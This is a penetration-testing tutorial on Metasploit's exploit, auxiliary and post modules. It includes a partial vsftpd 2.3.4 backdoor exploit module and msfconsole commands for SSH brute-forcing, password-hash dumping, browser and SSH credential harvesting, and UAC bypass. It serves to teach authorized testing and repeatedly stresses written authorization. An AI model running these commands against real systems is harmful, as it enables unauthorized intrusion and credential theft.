

Exploit / Auxiliary / Post Modules

Your Metasploit Framework guide introduced the module type taxonomy in a single summary table — this guide is the deep dive into the three module types you'll actually use constantly: **Exploit** modules (deliver a payload by leveraging a vulnerability), **Auxiliary** modules (everything that isn't exploitation — scanning, brute-forcing, DoS, fuzzing), and **Post** modules (everything that happens after you already have a session). Understanding how each type is structured internally — not just how to run one — is what lets you read, adapt, and eventually write your own.

PART 1: Exploit Modules

1. What an Exploit Module Actually Contains

An exploit module is Ruby code that packages together everything needed to leverage a specific vulnerability: the vulnerable target's fingerprint, the technique to trigger the flaw, and the mechanism to deliver a payload once triggered. Every exploit module is built around a small set of standardized methods the framework calls in sequence.

```
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'vsftpd 2.3.4 Backdoor Command Execution',
      'Description' => 'This module exploits a malicious backdoor...',
      'Author' => ['hdm'],
      'License' => MSF_LICENSE,
      'References' => [['CVE', '2011-2523'], ['OSVDB', '73573']],
      'Platform' => 'unix',
```

```

        'Targets'      => [['Automatic', {}]]
    ))
    register_options([Opt::RPORT(21)])
end

def exploit
  connect
  sock.put("USER localdomain\r\n")
  sock.put("PASS %s\r\n")
  disconnect
  connect(false, {'RPORT' => 6200})
  # ... trigger the backdoor, hand off to payload deliver
y
end
end

```

This is genuinely the same structure whether the exploit is a one-line backdoor trigger (vsftpd, as shown) or a sophisticated memory-corruption exploit — `initialize` declares metadata and defaults, `exploit` (or `check`) contains the actual logic.

2. The **Rank** — How Reliable/Safe an Exploit Is Expected to Be

ExcellentRanking	→ will never crash the service, exploitation is fully reliable
GreatRanking	→ default settings work reliably, minimal risk of crashing the target
GoodRanking	→ default settings work, but requires some manual verification or targeting
NormalRanking	→ requires user knowledge of the target to make it work reliably
AverageRanking	→ decent chance of exploitation, but has some issues
LowRanking	→ very difficult to exploit, or exploitation is unreliable
ManualRanking	→ often reliable but requires manual configuration specific to the target, or is disabled by default due to the risk of crashing the target service

Practical implication for a real engagement: in a production environment (as opposed to your Metasploitable 2 lab), the **Rank** is a genuine risk signal — a `LowRanking` or `ManualRanking` exploit against a client's live system carries real risk of causing an outage, directly relevant to the authorization/rules-of-engagement discipline emphasized throughout this series. Always check `info` on a module before running it against anything beyond a disposable lab target.

```
msf6 exploit(...) > info
```

3. The **check** Method — Verify Before You Exploit

Introduced briefly in your Metasploit Framework guide — worth understanding *why* it matters so much. A **check** method independently verifies the target is actually vulnerable **without** delivering any payload or risking any disruption:

```
msf6 exploit(...) > check
[+] 192.168.1.10:445 - The target is vulnerable.
```

CheckCode::Vulnerable	→ confirmed vulnerable
CheckCode::Safe	→ confirmed NOT vulnerable
CheckCode::Detected	→ the service was detected, but vulnerability couldn't be conclusively confirmed
CheckCode::Unknown	→ check couldn't determine anything meaningful

Not every module implements **check** — many older or simpler exploits skip it entirely, meaning your only way to confirm vulnerability is running the exploit itself. When **check** is available, running it first is standard professional practice: it's the direct Metasploit equivalent of NSE's **vuln** category scripts or Nessus's non-intrusive scanning from your Nessus guide — confirm before you commit to something riskier.

4. Exploit Targets — Handling Multiple OS/Version Variations

A single exploit module often supports several different target configurations (different Windows service pack levels, different Linux distro/kernel combinations) because the exact memory offsets or exploitation technique needed can vary:

```
msf6 exploit(...) > show targets
0  Windows 7 SP1
1  Windows 8.1
2  Windows 10 1607

msf6 exploit(...) > set TARGET 0
```

If left on `0` (often labeled "Automatic"), some exploits attempt OS fingerprinting themselves to pick the correct target automatically — worth explicitly setting the correct target manually whenever you already know the exact OS/version from your own recon (your Nmap `-O` / `-sV` results, or `sysinfo` if you already have a foothold elsewhere on the network), since automatic detection isn't always reliable.

5. Categories of Exploit Modules — What They Actually Target

```
Remote exploits → network services (the vsftpd example, SMB/RDP/HTTP-based exploits
– directly parallels the port-by-port "what to try next" groupings from your Common Po
rts guide)
Local exploits → require an EXISTING session/local access already – these are what l
ocal_exploit_suggester (your Meterpreter guide) searches through for privilege escalat
ion
Client-side exploits → require the VICTIM to take an action (open a malicious file,
visit a crafted page) – this is the Delivery-stage Kill Chain category from your Cyber
Kill Chain guide, as opposed to remote exploits' direct Exploitation-stage nature
Web application exploits → target specific CMS/application vulnerabilities (often ov
erlapping directly with a CVE you'd otherwise look up manually via your CVE guide)
```

PART 2: Auxiliary Modules

6. What Distinguishes Auxiliary From Exploit Modules

The core distinction, worth having crisp: **auxiliary modules don't deliver a payload**. They perform an action — scanning, brute-forcing, fuzzing, denial-of-service — and report results, but never hand off to payload execution the way an exploit module's `exploit` method does.

```
class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Scanner

  def run_host(ip)
    # perform a check/action against this single host,
    # called automatically for EVERY host in RHOSTS
  end
end
```

The `Msf::Auxiliary::Scanner` mixin is genuinely important to recognize — it's what gives auxiliary scanner modules their **automatic multi-threaded iteration** over an entire `RHOSTS` range, calling `run_host` once per target without you needing to write a manual loop.

7. Auxiliary Module Categories

```
Scanners → port/service discovery, version detection (overlaps your Nmap guide, though Nmap remains the stronger dedicated tool for pure port scanning)
Login/brute-force → credential testing against a service (directly overlaps your Authentication guide's brute-force and password-spraying techniques, and your SMBMap/Enum4linux guides' SMB-specific credential testing)
Fuzzers → send malformed/unexpected input to find crashes (conceptually similar to your OWASP ZAP guide's Fuzzer feature and your Wapiti guide's automated injection testing, applied to non-web protocols too)
DoS → denial-of-service testing (use with EXTREME caution and only within explicit written authorization — this category can take down production services, echoing the exact caution around NSE's `dos` category from your NSE Scripts guide)
Admin → administrative actions against a service (e.g., resetting a device's config)
Gather → OSINT-style information collection (some overlap conceptually with your the Harvester/Amass guide's automation, though scoped to what Metasploit's own modules cover)
```

8. Practical Examples — SMB Enumeration (Directly Parallels Your Enum4linux/SMBMap Guides)

```
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(scanner/smb/smb_version) > run

msf6 > use auxiliary/scanner/smb/smb_enumshares
msf6 > use auxiliary/scanner/smb/smb_enumusers
msf6 > use auxiliary/scanner/smb/smb_login # c
credential testing
```

These are functionally the exact same checks Enum4linux and SMBMap perform — running them through Metasploit's auxiliary modules instead means results automatically populate the framework's database (`hosts`, `services`, `creds` — from your Metasploit Framework guide), letting them flow directly into subsequent module selection within the same tool, rather than needing to manually cross-reference separate tool outputs.

9. Practical Examples — Login Brute-Forcing (Directly Parallels Your Authentication Guide)

```
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.1.10
msf6 auxiliary(scanner/ssh/ssh_login) > set USERNAME msfadmin
msf6 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(scanner/ssh/ssh_login) > run

msf6 > use auxiliary/scanner/http/http_login
msf6 > use auxiliary/scanner/mysql/mysql_login
```

Key options worth knowing across nearly every login module:

```
USERNAME / USER_FILE      → single username or wordlist
PASSWORD / PASS_FILE      → single password or wordlist
STOP_ON_SUCCESS            → halt once ANY valid credential is found (useful for a quick "is ANYTHING weak here" check)
BLANK_PASSWORDS            → also try each username with no password at all
USER_AS_PASS               → also try username==password (a genuinely common real-world finding worth always including)
```

This is exactly the password-spraying methodology from your Authentication guide's Section 8, automated and multi-threaded — worth remembering the same lockout-avoidance discipline applies here too: check the target's actual lockout policy (your Enum4linux guide's password policy finding) before blasting a huge wordlist at a single account.

10. Practical Examples — Vulnerability Scanning Auxiliary Modules

```
msf6 > use auxiliary/scanner/smb/smb_ms17_010      # EternalBlue detection – the CHECK-ONLY equivalent, confirming vulnerability WITHOUT exploiting, same role as NSE's smb-vuln-ms17-010
```

Worth recognizing these detection-only auxiliary modules as a lower-risk alternative to running the full exploit when you just need confirmation, exactly the same "confirm before you commit to something riskier" principle from Section 3's `check` discussion.

PART 3: Post Modules

11. What Distinguishes Post Modules — They Require an Existing Session First

Post modules only run **against an active Meterpreter or shell session** — they're the automated, packaged version of the manual post-exploitation techniques from your Meterpreter guide (Sections 9-13 of that guide, specifically).

```
class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Registry

  def run
    print_status("Running as: #{sysinfo['User']}")
    # ... post-exploitation logic, operating through
    #     the ALREADY-ESTABLISHED session
  end
end
```

Two ways to run a post module:

```
# From within an active meterpreter session:
meterpreter > run post/multi/recon/local_exploit_suggester

# From msfconsole, targeting a specific backgrounded session by ID:
msf6 > use post/windows/gather/hashdump
msf6 post(windows/gather/hashdump) > set SESSION 1
msf6 post(windows/gather/hashdump) > run
```

12. Post Module Categories

```
recon      → gathering info about the compromised host/network (local_exploit_suggester, network config enumeration – directly parallels the manual recon commands from your Common Ports and Meterpreter guides)
gather     → harvesting specific data (credentials, browser saved passwords, SSH keys, cloud credentials)
escalate   → privilege escalation modules (distinct from getsystem's built-in techniques – these are specific, individually-documented exploit-based escalation modules)
manage     → session/persistence management (persistence_exe from your Meterpreter guide, migrating, disabling security tools)
capture    → screen/keystroke/credential capture – the same category as Section 11 of your Meterpreter guide, packaged as standalone modules
```

13. Practical Examples — Credential Gathering

```
msf6 post(windows/gather/hashdump) > run
msf6 > use post/windows/gather/credentials/gpp      → hunts for credentials left in Group Policy Preferences XML files, a genuinely common AD finding
msf6 > use post/multi/gather/ssh_creds              → harvests saved SSH keys/known_hosts
msf6 > use post/windows/gather/enum_chrome          → extracts saved browser credentials
```

These directly extend the credential-harvesting theme from your Enum4linux, Email Enumeration, and Meterpreter guides — different sources of the same fundamental objective (valid credentials to reuse elsewhere via password spraying, per your Authentication guide).

14. Practical Examples — Recon and Network Enumeration

```
msf6 > use post/windows/gather/enum_domain          → identifies the Windows domain context
msf6 > use post/windows/gather/enum_shares          → enumerate accessible shares FROM the compromised host's perspective – directly parallels your SMBMap guide, but run from INSIDE the network instead of externally
msf6 > use post/multi/gather/ping_sweep             → discover other live hosts reachable from THIS compromised machine – feeds directly into the pivoting workflow from your Meterpreter guide's autoroute section
```

15. Practical Examples — Privilege Escalation Modules


```

msf6 > use exploit/windows/local/bypassuac    → note this is
s technically filed as a LOCAL EXPLOIT module, not "post" –
worth knowing the category lines blur here, since local priv
esc exploits still require an EXISTING session (via SESSION
N=) exactly like a true post module
msf6 exploit(windows/local/bypassuac) > set SESSION 1
msf6 exploit(windows/local/bypassuac) > run

```

This is genuinely the module-based equivalent of `local_exploit_suggester`'s recommendations from your Meterpreter guide — instead of the suggester picking for you, you're directly selecting and running a specific known local exploit against your existing session.

PART 4: Searching and Selecting the Right Module

16. Effective `search` Usage

```

msf6 > search type:exploit platform:windows smb
msf6 > search type:auxiliary name:login
msf6 > search type:post platform:linux gather
msf6 > search cve:2017-0144                                # search dir
ectly by CVE ID –

```

the exact

the bridge between

your CVE

guide's research

habit an

d finding a

matching

Metasploit module

```

msf6 > search rank:excellent platform:windows

```

Search filter keywords worth knowing:

```

type:      exploit / auxiliary / post / payload
platform:  windows / linux / unix / osx / php / java
name:      matches module name/description text

```

```
cve:      search by CVE identifier directly
rank:     filter by reliability ranking (Section 2)
```

17. Reading **info** Before Running Anything

```
msf6 exploit(...) > info
```

```
      Name: vsftpd 2.3.4 Backdoor Command Execution
      Module: exploit/unix/ftp/vsftpd_234_backdoor
      Platform: Unix
      Arch:
      Privileged: Yes
      Rank: Excellent
```

```
Provided by: hdm
```

```
Available targets:
```

```
  Id  Name
  --  ---
  0    Automatic
```

```
Basic options:
```

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s)
RPORT	21	yes	The target port

```
Payload information:
```

```
Description:
```

```
  This module exploits a malicious backdoor...
```

```
References:
```

```
  https://nvd.nist.gov/vuln/detail/CVE-2011-2523
```

info gives you the module's **Rank** (Section 2), whether it requires privileged access, its documented references (worth cross-checking against your CVE guide's NVD lookup habit for the full technical writeup), and its complete

options list — genuinely worth reading in full before running anything against a real target, not just a disposable lab box.

Kill Chain / ATT&CK Mapping

Module Type	Kill Chain Stage	MITRE ATT&CK
Exploit (remote)	Exploitation	T1190, T1203
Exploit (local/privesc)	Privilege Escalation	T1068
Auxiliary (scanner)	Reconnaissance	T1046, T1595
Auxiliary (login/brute-force)	Reconnaissance → Credential Access	T1110
Post (gather)	Collection, Credential Access	T1005, T1003, T1552
Post (recon)	Discovery	T1082, T1087, T1135
Post (manage/persistence)	Persistence	T1543, T1053

Quick Reference Cheat Sheet

```
# Search
search type:exploit platform:windows smb
search cve:2017-0144
search rank:excellent

# Exploit modules
use exploit/...
show targets / set TARGET <n>
check # verify before exploiting, if supported
info # ALWAYS read before running against a real target

# Auxiliary modules
use auxiliary/scanner/...
set RHOSTS <range> # scanner mixin auto-iterates every host
use auxiliary/scanner/.../_login
```

```
set USER_FILE / PASS_FILE
set STOP_ON_SUCCESS true

# Post modules
run post/... # from within an active meter
preter session
use post/...
set SESSION <id> # from msfconsole, targeting
a backgrounded session
run
```